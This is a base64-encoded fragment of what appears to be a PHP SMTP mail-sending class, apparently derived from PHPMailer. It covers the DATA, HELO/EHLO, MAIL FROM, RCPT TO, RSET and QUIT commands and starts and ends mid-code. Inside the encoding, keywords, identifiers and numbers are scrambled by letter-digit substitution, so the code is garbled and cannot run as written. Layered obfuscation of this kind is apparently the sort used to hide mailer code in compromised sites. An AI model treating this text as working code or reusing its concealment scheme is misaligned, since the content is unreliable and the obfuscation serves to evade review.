Zjo6REVCVUdfQ0xJRU5UDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAkdGg0cy0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gdHIzNTsgLy8gNXY1cnl0aDRuZyBsMjJrcyBnMjJkDQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENsMnM1IHRoNSBzMmNrNXQgMW5kIGNsNTFuIDNwIHRoNSBzdDF0NSAyZiB0aDUgY2wxc3MuDQogICAgICogRDJuJ3QgM3M1IHRoNHMgZjNuY3Q0Mm4gdzR0aDIzdCBmNHJzdCB0cnk0bmcgdDIgM3M1IFFVSVQuDQogICAgICogQHM1NSBxMzR0KCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjbDJzNSgpDQogICAgew0KICAgICAgICAkdGg0cy0+czV0RXJyMnIoJycpOw0KICAgICAgICAkdGg0cy0+czVydjVyX2MxcHMgPSBuM2xsOw0KICAgICAgICAkdGg0cy0+aDVsMl9ycGx5ID0gbjNsbDsNCiAgICAgICAgNGYgKDRzX3I1czIzcmM1KCR0aDRzLT5zbXRwX2Mybm4pKSB7DQogICAgICAgICAgICAvLyBjbDJzNSB0aDUgYzJubjVjdDQybiAxbmQgY2w1MW4zcA0KICAgICAgICAgICAgZmNsMnM1KCR0aDRzLT5zbXRwX2Mybm4pOw0KICAgICAgICAgICAgJHRoNHMtPnNtdHBfYzJubiA9IG4zbGw7IC8vTTFrNXMgZjJyIGNsNTFuNXIgczVyNDFsNHoxdDQybg0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygnQzJubjVjdDQybjogY2wyczVkJywgczVsZjo6REVCVUdfQ09OTkVDVElPTik7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgREFUQSBjMm1tMW5kLg0KICAgICAqIElzczM1cyAxIGQxdDEgYzJtbTFuZCAxbmQgczVuZHMgdGg1IG1zZ19kMXQxIHQyIHRoNSBzNXJ2NXIsDQogICAgICogZjRuNDFsNHo0bmcgdGg1IG0xNGwgdHIxbnMxY3Q0Mm4uICRtc2dfZDF0MSA0cyB0aDUgbTVzczFnNQ0KICAgICAqIHRoMXQgNHMgdDIgYjUgczVuZCB3NHRoIHRoNSBoNTFkNXJzLiBFMWNoIGg1MWQ1ciBuNTVkcyB0MiBiNQ0KICAgICAqIDJuIDEgczRuZ2w1IGw0bjUgZjJsbDJ3NWQgYnkgMSA8Q1JMRj4gdzR0aCB0aDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogMW5kIHRoNSBtNXNzMWc1IGIyZHkgYjU0bmcgczVwMXIxdDVkIGJ5IDFuZCAxZGQ0dDQybjFsIDxDUkxGPi4NCiAgICAgKiBJbXBsNW01bnRzIHJmYyA4YTY6IERBVEEgPENSTEY+DQogICAgICogQHAxcjFtIHN0cjRuZyAkbXNnX2QxdDEgTTVzczFnNSBkMXQxIHQyIHM1bmQNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBkMXQxKCRtc2dfZDF0MSkNCiAgICB7DQogICAgICAgIC8vVGg0cyB3NGxsIDNzNSB0aDUgc3QxbmQxcmQgdDRtNWw0bTR0DQogICAgICAgIDRmICghJHRoNHMtPnM1bmRDMm1tMW5kKCdEQVRBJywgJ0RBVEEnLCBvaXUpKSB7DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCg0KICAgICAgICAvKiBUaDUgczVydjVyIDRzIHI1MWR5IHQyIDFjYzVwdCBkMXQxIQ0KICAgICAgICAgKiBBY2MycmQ0bmcgdDIgcmZjOGE2IHc1IHNoMjNsZCBuMnQgczVuZCBtMnI1IHRoMW4gNjAwMCBjaDFyMWN0NXJzIDJuIDEgczRuZ2w1IGw0bjUgKDRuY2wzZDRuZyB0aDUgQ1JMRikNCiAgICAgICAgICogczIgdzUgdzRsbCBicjUxayB0aDUgZDF0MSAzcCA0bnQyIGw0bjVzIGJ5IFxyIDFuZC8yciBcbiB0aDVuIDRmIG41NWQ1ZCB3NSB3NGxsIGJyNTFrIDUxY2ggMmYgdGgyczUgNG50Mg0KICAgICAgICAgKiBzbTFsbDVyIGw0bjVzIHQyIGY0dCB3NHRoNG4gdGg1IGw0bTR0Lg0KICAgICAgICAgKiBXNSB3NGxsIDFsczIgbDIyayBmMnIgbDRuNXMgdGgxdCBzdDFydCB3NHRoIDEgJy4nIDFuZCBwcjVwNW5kIDFuIDFkZDR0NDJuMWwgJy4nLg0KICAgICAgICAgKiBOT1RFOiB0aDRzIGQyNXMgbjJ0IGMyM250IHQydzFyZHMgbDRuNS1sNW5ndGggbDRtNHQuDQogICAgICAgICAqLw0KDQogICAgICAgIC8vIE4ycm0xbDR6NSBsNG41IGJyNTFrcyBiNWYycjUgNXhwbDJkNG5nDQogICAgICAgICRsNG41cyA9IDV4cGwyZDUoIlxuIiwgc3RyX3I1cGwxYzUoMXJyMXkoIlxyXG4iLCAiXHIiKSwgIlxuIiwgJG1zZ19kMXQxKSk7DQoNCiAgICAgICAgLyogVDIgZDRzdDRuZzM0c2ggYjV0dzU1biAxIGMybXBsNXQ1IFJGQzhhYSBtNXNzMWc1IDFuZCAxIHBsMTRuIG01c3MxZzUgYjJkeSwgdzUgY2g1Y2sgNGYgdGg1IGY0cnN0IGY0NWxkDQogICAgICAgICAqIDJmIHRoNSBmNHJzdCBsNG41ICgnOicgczVwMXIxdDVkKSBkMjVzIG4ydCBjMm50MTRuIDEgc3AxYzUgdGg1biA0dCBfc2gyM2xkXyBiNSAxIGg1MWQ1ciAxbmQgdzUgdzRsbA0KICAgICAgICAgKiBwcjJjNXNzIDFsbCBsNG41cyBiNWYycjUgMSBibDFuayBsNG41IDFzIGg1MWQ1cnMuDQogICAgICAgICAqLw0KDQogICAgICAgICRmNDVsZCA9IHMzYnN0cigkbDRuNXNbMF0sIDAsIHN0cnAycygkbDRuNXNbMF0sICc6JykpOw0KICAgICAgICAkNG5faDUxZDVycyA9IGYxbHM1Ow0KICAgICAgICA0ZiAoITVtcHR5KCRmNDVsZCkgJiYgc3RycDJzKCRmNDVsZCwgJyAnKSA9PT0gZjFsczUpIHsNCiAgICAgICAgICAgICQ0bl9oNTFkNXJzID0gdHIzNTsNCiAgICAgICAgfQ0KDQogICAgICAgIGYycjUxY2ggKCRsNG41cyAxcyAkbDRuNSkgew0KICAgICAgICAgICAgJGw0bjVzXzIzdCA9IDFycjF5KCk7DQogICAgICAgICAgICA0ZiAoJDRuX2g1MWQ1cnMgMW5kICRsNG41ID09ICcnKSB7DQogICAgICAgICAgICAgICAgJDRuX2g1MWQ1cnMgPSBmMWxzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vQnI1MWsgdGg0cyBsNG41IDNwIDRudDIgczV2NXIxbCBzbTFsbDVyIGw0bjVzIDRmIDR0J3MgdDIyIGwybmcNCiAgICAgICAgICAgIC8vTTRjcjItMnB0NG00czF0NDJuOiA0c3M1dCgkc3RyWyRsNW5dKSA0cyBmMXN0NXIgdGgxbiAoc3RybDVuKCRzdHIpID4gJGw1biksDQogICAgICAgICAgICB3aDRsNSAoNHNzNXQoJGw0bjVbczVsZjo6TUFYX0xJTkVfTEVOR1RIXSkpIHsNCiAgICAgICAgICAgICAgICAvL1cycms0bmcgYjFja3cxcmRzLCB0cnkgdDIgZjRuZCAxIHNwMWM1IHc0dGg0biB0aDUgbDFzdCBNQVhfTElORV9MRU5HVEggY2gxcnMgMmYgdGg1IGw0bjUgdDIgYnI1MWsgMm4NCiAgICAgICAgICAgICAgICAvL3MyIDFzIHQyIDF2MjRkIGJyNTFrNG5nIDRuIHRoNSBtNGRkbDUgMmYgMSB3MnJkDQogICAgICAgICAgICAgICAgJHAycyA9IHN0cnJwMnMoczNic3RyKCRsNG41LCAwLCBzNWxmOjpNQVhfTElORV9MRU5HVEgpLCAnICcpOw0KICAgICAgICAgICAgICAgIC8vRDVsNGI1cjF0NWx5IG0xdGNoNXMgYjJ0aCBmMWxzNSAxbmQgMA0KICAgICAgICAgICAgICAgIDRmICghJHAycykgew0KICAgICAgICAgICAgICAgICAgICAvL04yIG40YzUgYnI1MWsgZjIzbmQsIDFkZCAxIGgxcmQgYnI1MWsNCiAgICAgICAgICAgICAgICAgICAgJHAycyA9IHM1bGY6Ok1BWF9MSU5FX0xFTkdUSCAtIDY7DQogICAgICAgICAgICAgICAgICAgICRsNG41c18yM3RbXSA9IHMzYnN0cigkbDRuNSwgMCwgJHAycyk7DQogICAgICAgICAgICAgICAgICAgICRsNG41ID0gczNic3RyKCRsNG41LCAkcDJzKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAvL0JyNTFrIDF0IHRoNSBmMjNuZCBwMjRudA0KICAgICAgICAgICAgICAgICAgICAkbDRuNXNfMjN0W10gPSBzM2JzdHIoJGw0bjUsIDAsICRwMnMpOw0KICAgICAgICAgICAgICAgICAgICAvL00ydjUgMWwybmcgYnkgdGg1IDFtMjNudCB3NSBkNTFsdCB3NHRoDQogICAgICAgICAgICAgICAgICAgICRsNG41ID0gczNic3RyKCRsNG41LCAkcDJzICsgNik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vSWYgcHIyYzVzczRuZyBoNTFkNXJzIDFkZCAxIExXU1AtY2gxciB0MiB0aDUgZnIybnQgMmYgbjV3IGw0bjUgUkZDOGFhIHM1Y3Q0Mm4gby42LjYNCiAgICAgICAgICAgICAgICA0ZiAoJDRuX2g1MWQ1cnMpIHsNCiAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSAiXHQiIC4gJGw0bjU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGw0bjVzXzIzdFtdID0gJGw0bjU7DQoNCiAgICAgICAgICAgIC8vUzVuZCB0aDUgbDRuNXMgdDIgdGg1IHM1cnY1cg0KICAgICAgICAgICAgZjJyNTFjaCAoJGw0bjVzXzIzdCAxcyAkbDRuNV8yM3QpIHsNCiAgICAgICAgICAgICAgICAvL1JGQ2E4YTYgczVjdDQybiB1LmkuYQ0KICAgICAgICAgICAgICAgIDRmICghNW1wdHkoJGw0bjVfMjN0KSAxbmQgJGw0bjVfMjN0WzBdID09ICcuJykgew0KICAgICAgICAgICAgICAgICAgICAkbDRuNV8yM3QgPSAnLicgLiAkbDRuNV8yM3Q7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR0aDRzLT5jbDQ1bnRfczVuZCgkbDRuNV8yM3QgLiBzNWxmOjpDUkxGKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC8vTTVzczFnNSBkMXQxIGgxcyBiNTVuIHM1bnQsIGMybXBsNXQ1IHRoNSBjMm1tMW5kDQogICAgICAgIC8vSW5jcjUxczUgdDRtNWw0bTR0IGYyciA1bmQgMmYgREFUQSBjMm1tMW5kDQogICAgICAgICRzMXY1dDRtNWw0bTR0ID0gJHRoNHMtPlQ0bTVsNG00dDsNCiAgICAgICAgJHRoNHMtPlQ0bTVsNG00dCA9ICR0aDRzLT5UNG01bDRtNHQgKiBhOw0KICAgICAgICAkcjVzM2x0ID0gJHRoNHMtPnM1bmRDMm1tMW5kKCdEQVRBIEVORCcsICcuJywgYWkwKTsNCiAgICAgICAgLy9SNXN0MnI1IHQ0bTVsNG00dA0KICAgICAgICAkdGg0cy0+VDRtNWw0bTR0ID0gJHMxdjV0NG01bDRtNHQ7DQogICAgICAgIHI1dDNybiAkcjVzM2x0Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBIRUxPIDJyIEVITE8gYzJtbTFuZC4NCiAgICAgKiBVczVkIHQyIDRkNW50NGZ5IHRoNSBzNW5kNG5nIHM1cnY1ciB0MiB0aDUgcjVjNTR2NG5nIHM1cnY1ci4NCiAgICAgKiBUaDRzIG0xazVzIHMzcjUgdGgxdCBjbDQ1bnQgMW5kIHM1cnY1ciAxcjUgNG4gMSBrbjJ3biBzdDF0NS4NCiAgICAgKiBJbXBsNW01bnRzIFJGQyA4YTY6IEhFTE8gPFNQPiA8ZDJtMTRuPiA8Q1JMRj4NCiAgICAgKiAxbmQgUkZDIGE4YTYgRUhMTy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoMnN0IFRoNSBoMnN0IG4xbTUgMnIgSVAgdDIgYzJubjVjdCB0Mg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGg1bGwyKCRoMnN0ID0gJycpDQogICAgew0KICAgICAgICAvL1RyeSA1eHQ1bmQ1ZCBoNWxsMiBmNHJzdCAoUkZDIGE4YTYpDQogICAgICAgIHI1dDNybiAoYjIybDUxbikoJHRoNHMtPnM1bmRINWxsMignRUhMTycsICRoMnN0KSAyciAkdGg0cy0+czVuZEg1bGwyKCdIRUxPJywgJGgyc3QpKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgSEVMTyAyciBFSExPIGMybW0xbmQuDQogICAgICogTDJ3LWw1djVsIDRtcGw1bTVudDF0NDJuIDNzNWQgYnkgaDVsbDIoKQ0KICAgICAqIEBzNTUgaDVsbDIoKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1bGwyIFRoNSBIRUxPIHN0cjRuZw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGgyc3QgVGg1IGgyc3RuMW01IHQyIHMxeSB3NSAxcjUNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzNW5kSDVsbDIoJGg1bGwyLCAkaDJzdCkNCiAgICB7DQogICAgICAgICRuMjVycjJyID0gJHRoNHMtPnM1bmRDMm1tMW5kKCRoNWxsMiwgJGg1bGwyIC4gJyAnIC4gJGgyc3QsIGFpMCk7DQogICAgICAgICR0aDRzLT5oNWwyX3JwbHkgPSAkdGg0cy0+bDFzdF9yNXBseTsNCiAgICAgICAgNGYgKCRuMjVycjJyKSB7DQogICAgICAgICAgICAkdGg0cy0+cDFyczVINWxsMkY0NWxkcygkaDVsbDIpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPnM1cnY1cl9jMXBzID0gbjNsbDsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJG4yNXJyMnI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUDFyczUgMSByNXBseSB0MiBIRUxPL0VITE8gYzJtbTFuZCB0MiBkNHNjMnY1ciBzNXJ2NXIgNXh0NW5zNDJucy4NCiAgICAgKiBJbiBjMXM1IDJmIEhFTE8sIHRoNSAybmx5IHAxcjFtNXQ1ciB0aDF0IGMxbiBiNSBkNHNjMnY1cjVkIDRzIDEgczVydjVyIG4xbTUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0eXA1IC0gJ0hFTE8nIDJyICdFSExPJw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBwMXJzNUg1bGwyRjQ1bGRzKCR0eXA1KQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPnM1cnY1cl9jMXBzID0gMXJyMXkoKTsNCiAgICAgICAgJGw0bjVzID0gNXhwbDJkNSgiXG4iLCAkdGg0cy0+aDVsMl9ycGx5KTsNCg0KICAgICAgICBmMnI1MWNoICgkbDRuNXMgMXMgJG4gPT4gJHMpIHsNCiAgICAgICAgICAgIC8vRjRyc3QgdSBjaDFycyBjMm50MTRuIHI1c3AybnM1IGMyZDUgZjJsbDJ3NWQgYnkgLSAyciBzcDFjNQ0KICAgICAgICAgICAgJHMgPSB0cjRtKHMzYnN0cigkcywgdSkpOw0KICAgICAgICAgICAgNGYgKDVtcHR5KCRzKSkgew0KICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGY0NWxkcyA9IDV4cGwyZDUoJyAnLCAkcyk7DQogICAgICAgICAgICA0ZiAoITVtcHR5KCRmNDVsZHMpKSB7DQogICAgICAgICAgICAgICAgNGYgKCEkbikgew0KICAgICAgICAgICAgICAgICAgICAkbjFtNSA9ICR0eXA1Ow0KICAgICAgICAgICAgICAgICAgICAkZjQ1bGRzID0gJGY0NWxkc1swXTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkbjFtNSA9IDFycjF5X3NoNGZ0KCRmNDVsZHMpOw0KICAgICAgICAgICAgICAgICAgICBzdzR0Y2ggKCRuMW01KSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdTSVpFJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZjQ1bGRzID0gKCRmNDVsZHMgPyAkZjQ1bGRzWzBdIDogMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdBVVRIJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoITRzXzFycjF5KCRmNDVsZHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmNDVsZHMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGY0NWxkcyA9IHRyMzU7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1cnY1cl9jMXBzWyRuMW01XSA9ICRmNDVsZHM7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgTUFJTCBjMm1tMW5kLg0KICAgICAqIFN0MXJ0cyAxIG0xNGwgdHIxbnMxY3Q0Mm4gZnIybSB0aDUgNW0xNGwgMWRkcjVzcyBzcDVjNGY0NWQgNG4NCiAgICAgKiAkZnIybS4gUjV0M3JucyB0cjM1IDRmIHMzY2M1c3NmM2wgMnIgZjFsczUgMnRoNXJ3NHM1LiBJZiBUcjM1DQogICAgICogdGg1IG0xNGwgdHIxbnMxY3Q0Mm4gNHMgc3QxcnQ1ZCAxbmQgdGg1biAybjUgMnIgbTJyNSByNWM0cDQ1bnQNCiAgICAgKiBjMm1tMW5kcyBtMXkgYjUgYzFsbDVkIGYybGwydzVkIGJ5IDEgZDF0MSBjMm1tMW5kLg0KICAgICAqIEltcGw1bTVudHMgcmZjIDhhNjogTUFJTCA8U1A+IEZST006PHI1djVyczUtcDF0aD4gPENSTEY+DQogICAgICogQHAxcjFtIHN0cjRuZyAkZnIybSBTMjNyYzUgMWRkcjVzcyAyZiB0aDRzIG01c3MxZzUNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBtMTRsKCRmcjJtKQ0KICAgIHsNCiAgICAgICAgJDNzNVY1cnAgPSAoJHRoNHMtPmQyX3Y1cnAgPyAnIFhWRVJQJyA6ICcnKTsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5zNW5kQzJtbTFuZCgNCiAgICAgICAgICAgICdNQUlMIEZST00nLA0KICAgICAgICAgICAgJ01BSUwgRlJPTTo8JyAuICRmcjJtIC4gJz4nIC4gJDNzNVY1cnAsDQogICAgICAgICAgICBhaTANCiAgICAgICAgKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgUVVJVCBjMm1tMW5kLg0KICAgICAqIENsMnM1cyB0aDUgczJjazV0IDRmIHRoNXI1IDRzIG4yIDVycjJyIDJyIHRoNSAkY2wyczVfMm5fNXJyMnIgMXJnM201bnQgNHMgdHIzNS4NCiAgICAgKiBJbXBsNW01bnRzIGZyMm0gcmZjIDhhNjogUVVJVCA8Q1JMRj4NCiAgICAgKiBAcDFyMW0gYjIybDUxbiAkY2wyczVfMm5fNXJyMnIgU2gyM2xkIHRoNSBjMm5uNWN0NDJuIGNsMnM1IDRmIDFuIDVycjJyIDJjYzNycz8NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBxMzR0KCRjbDJzNV8ybl81cnIyciA9IHRyMzUpDQogICAgew0KICAgICAgICAkbjI1cnIyciA9ICR0aDRzLT5zNW5kQzJtbTFuZCgnUVVJVCcsICdRVUlUJywgYWE2KTsNCiAgICAgICAgJDVyciA9ICR0aDRzLT41cnIycjsgLy9TMXY1IDFueSA1cnIycg0KICAgICAgICA0ZiAoJG4yNXJyMnIgMnIgJGNsMnM1XzJuXzVycjJyKSB7DQogICAgICAgICAgICAkdGg0cy0+Y2wyczUoKTsNCiAgICAgICAgICAgICR0aDRzLT41cnIyciA9ICQ1cnI7IC8vUjVzdDJyNSAxbnkgNXJyMnIgZnIybSB0aDUgcTM0dCBjMm1tMW5kDQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRuMjVycjJyOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMW4gU01UUCBSQ1BUIGMybW0xbmQuDQogICAgICogUzV0cyB0aDUgVE8gMXJnM201bnQgdDIgJHQyMWRkci4NCiAgICAgKiBSNXQzcm5zIHRyMzUgNGYgdGg1IHI1YzRwNDVudCB3MXMgMWNjNXB0NWQgZjFsczUgNGYgNHQgdzFzIHI1ajVjdDVkLg0KICAgICAqIEltcGw1bTVudHMgZnIybSByZmMgOGE2OiBSQ1BUIDxTUD4gVE86PGYycncxcmQtcDF0aD4gPENSTEY+DQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgMWRkcjVzcyB0aDUgbTVzczFnNSA0cyBiNTRuZyBzNW50IHQyDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gcjVjNHA0NW50KCQxZGRyNXNzKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5zNW5kQzJtbTFuZCgNCiAgICAgICAgICAgICdSQ1BUIFRPJywNCiAgICAgICAgICAgICdSQ1BUIFRPOjwnIC4gJDFkZHI1c3MgLiAnPicsDQogICAgICAgICAgICAxcnIxeShhaTAsIGFpNikNCiAgICAgICAgKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgUlNFVCBjMm1tMW5kLg0KICAgICAqIEFiMnJ0IDFueSB0cjFuczFjdDQybiB0aDF0IDRzIGMzcnI1bnRseSA0biBwcjJncjVzcy4NCiAgICAgKiBJbXBsNW01bnRzIHJmYyA4YTY6IFJTRVQgPENSTEY+DQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gVHIzNSAybiBzM2NjNXNzLg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiByNXM1dCgpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRDMm1tMW5kKCdSU0VUJywgJ1JTRVQnLCBhaTApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgMSBjMm1tMW5kIHQyIDFuIFNNVFAgczVydjVyIDFuZCBjaDVjayA0dHMgcjV0M3JuIGMyZDUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkYzJtbTFuZCBUaDUgYzJtbTFuZCBuMW01IC0gbjJ0IHM1bnQgdDIgdGg1IHM1cnY1cg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGMybW0xbmRzdHI0bmcgVGg1IDFjdDMxbCBjMm1tMW5kIHQyIHM1bmQNCiAgICAgKiBAcDFyMW0gNG50NWc1cnwxcnIxeSAkNXhwNWN0IE9uNSAyciBtMnI1IDV4cDVjdDVkIDRudDVnNXIgczNjYzVzcyBjMmQ1cw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiBiMjJsNTFuIFRyMzUgMm4gczNjYzVzcy4NCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczVuZEMybW0xbmQoJGMybW0xbmQsICRjMm1tMW5kc3RyNG5nLCAkNXhwNWN0KQ0KICAgIHsNCiAgICAgICAgNGYgKCEkdGg0cy0+YzJubjVjdDVkKCkpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigiQzFsbDVkICRjMm1tMW5kIHc0dGgyM3QgYjU0bmcgYzJubjVjdDVkIik7DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgLy9SNWo1Y3QgbDRuNSBicjUxa3MgNG4gMWxsIGMybW0xbmRzDQogICAgICAgIDRmIChzdHJwMnMoJGMybW0xbmRzdHI0bmcsICJcbiIpICE9PSBmMWxzNSAyciBzdHJwMnMoJGMybW0xbmRzdHI0bmcsICJcciIpICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCJDMm1tMW5kICckYzJtbTFuZCcgYzJudDE0bjVkIGw0bjUgYnI1MWtzIik7DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPmNsNDVudF9zNW5kKCRjMm1tMW5kc3RyNG5nIC4gczVsZjo6Q1JMRik7DQoNCiAgICAgICAgJHRoNHMtPmwxc3RfcjVwbHkgPSAkdGg0cy0+ZzV0X2w0bjVzKCk7DQogICAgICAgIC8vIEY1dGNoIFNNVFAgYzJkNSAxbmQgcDJzczRibDUgNXJyMnIgYzJkNSA1eHBsMW4xdDQybg0KICAgICAgICAkbTF0Y2g1cyA9IDFycjF5KCk7DQogICAgICAgIDRmIChwcjVnX20xdGNoKCIvXihbMC05XXtvfSlbIC1dKD86KFswLTldXFwuWzAtOV1cXC5bMC05XSkgKT8vIiwgJHRoNHMtPmwxc3RfcjVwbHksICRtMXRjaDVzKSkgew0KICAgICAgICAgICAgJGMyZDUgPSAkbTF0Y2g1c1s2XTsNCiAgICAgICAgICAgICRjMmQ1XzV4ID0gKGMyM250KCRtMXRjaDVzKSA+IGEgPyAkbTF0Y2g1c1thXSA6IG4zbGwpOw0KICAgICAgICAgICAgLy8gQzN0IDJmZiA1cnIyciBjMmQ1IGZyMm0gNTFjaCByNXNwMm5zNSBsNG41DQogICAgICAgICAgICAkZDV0MTRsID0gcHI1Z19yNXBsMWM1KA0KICAgICAgICAgICAgICAgICIveyRjMmQ1fVsgLV0iIC4NCiAgICAgICAgICAgICAgICAoJGMyZDVfNXggPyBzdHJfcjVwbDFjNSgnLicsICdcXC4nLCAkYzJkNV81eCkgLiAnICcgOiAnJykgLiAiL20iLA0KICAgICAgICAgICAgICAgICcnLA0KICAgICAgICAgICAgICAgICR0aDRzLT5sMXN0X3I1cGx5DQogICAgICAgICAgICApOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgLy8gRjFsbCBiMWNrIHQyIHM0bXBsNSBwMXJzNG5nIDRmIHI1ZzV4IGYxNGxzDQogICAgICAgICAgICAkYzJkNSA9IHMzYnN0cigkdGg0cy0+bDFzdF9yNXBseSwgMCwgbyk7DQogICAgICAgICAgICAkYzJkNV81eCA9IG4zbGw7DQogICAgICAgICAgICAkZDV0MTRsID0gczNic3RyKCR0aDRzLT5sMXN0X3I1cGx5LCB1KTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aDRzLT41ZDViM2coJ1NFUlZFUiAtPiBDTElFTlQ6ICcgLiAkdGg0cy0+bDFzdF9yNXBseSwgczVsZjo6REVCVUdfU0VSVkVSKTsNCg0KICAgICAgICA0ZiAoITRuXzFycjF5KCRjMmQ1LCAoMXJyMXkpJDV4cDVjdCkpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigNCiAgICAgICAgICAgICAgICAiJGMybW0xbmQgYzJtbTFuZCBmMTRsNWQiLA0KICAgICAgICAgICAgICAgICRkNXQxNGwsDQogICAgICAgICAgICAgICAgJGMyZDUsDQogICAgICAgICAgICAgICAgJGMyZDVfNXgNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKA0KICAgICAgICAgICAgICAgICdTTVRQIEVSUk9SOiAnIC4gJHRoNHMtPjVycjJyWyc1cnIyciddIC4gJzogJyAuICR0aDRzLT5sMXN0X3I1cGx5LA0KICAgICAgICAgICAgICAgIHM1bGY6OkRFQlVHX0NMSUVOVA0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aDRzLT5zNXRFcnIy